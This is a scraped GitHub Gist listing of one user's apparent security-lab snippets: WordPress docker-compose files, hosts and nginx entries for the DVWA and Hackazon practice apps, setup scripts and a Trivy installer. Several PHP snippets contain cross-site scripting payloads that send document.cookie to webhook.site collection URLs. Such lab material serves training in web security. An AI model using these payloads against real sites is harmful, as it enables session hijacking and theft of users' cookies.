Skip to content

Instantly share code, notes, and snippets.

version: "3.3"
services:
wordpress:
image: wordpress
restart: always
ports:
- 8080:80
<?php
$html = <<<EOF
<!-- Your HTML goes here! -->
<img src="http://webhook.site/8b66c8d2-dd5a-48e4-a0bf-80a99b606387"+(document.cookie||"nocookie!")/>
EOF;
echo $html;
?>
<?php
$html = <<<EOF
<script>
document.write('<img src="https://webhook.site/18067530-dc70-4714-8010-9deec2946363?cookie='+(document.cookie||"none")+'" />');
</script>
EOF;
echo $html;
<img src="<http://webhook.site/1c629814-b484-4e91-8dc2-895ec7c731dd>?example=parameter">
@jmmeacham
jmmeacham / jeff.php
Last active September 18, 2019 15:42
<img src="webhook.site/8b66c8d2-dd5a-48e4-a0bf-80a99b606387?example=parameter" >
@jmmeacham
jmmeacham / hosts
Created September 20, 2019 15:00
hosts
127.0.0.1 localhost
127.0.1.1 localhost
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 dvwa.com
127.0.0.1 www.dvwa.com
@jmmeacham
jmmeacham / nginx.conf.j2
Last active September 20, 2019 16:00
nginx.conf.j2
server {
listen 80;
server_name www.hackazon.com hackazon.com;
location / {
proxy_pass http://127.0.0.1:8002;
}
}
server {
listen 80;
#!/bin/bash
# Fix packages
sudo rm -rf /var/lib/apt/lists/*
sudo apt-get update
apt-get clean
apt-get update
#install apache2
apt install apache2
@jmmeacham
jmmeacham / trivy_install.sh
Last active March 27, 2020 18:52
Trivy script 14.2
#!/bin/bash
sudo apt-get install wget apt-transport-https gnupg lsb-release
wget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -
echo deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main | sudo tee -a /etc/apt/sources.list.d/tri$
sudo apt-get update
sudo apt-get install trivy
version: "3.3"
services:
wordpress:
image: wordpress:4.6.1-php5.6-apache
restart: always
ports:
- 8080:80
environment:
WORDPRESS_DB_HOST: db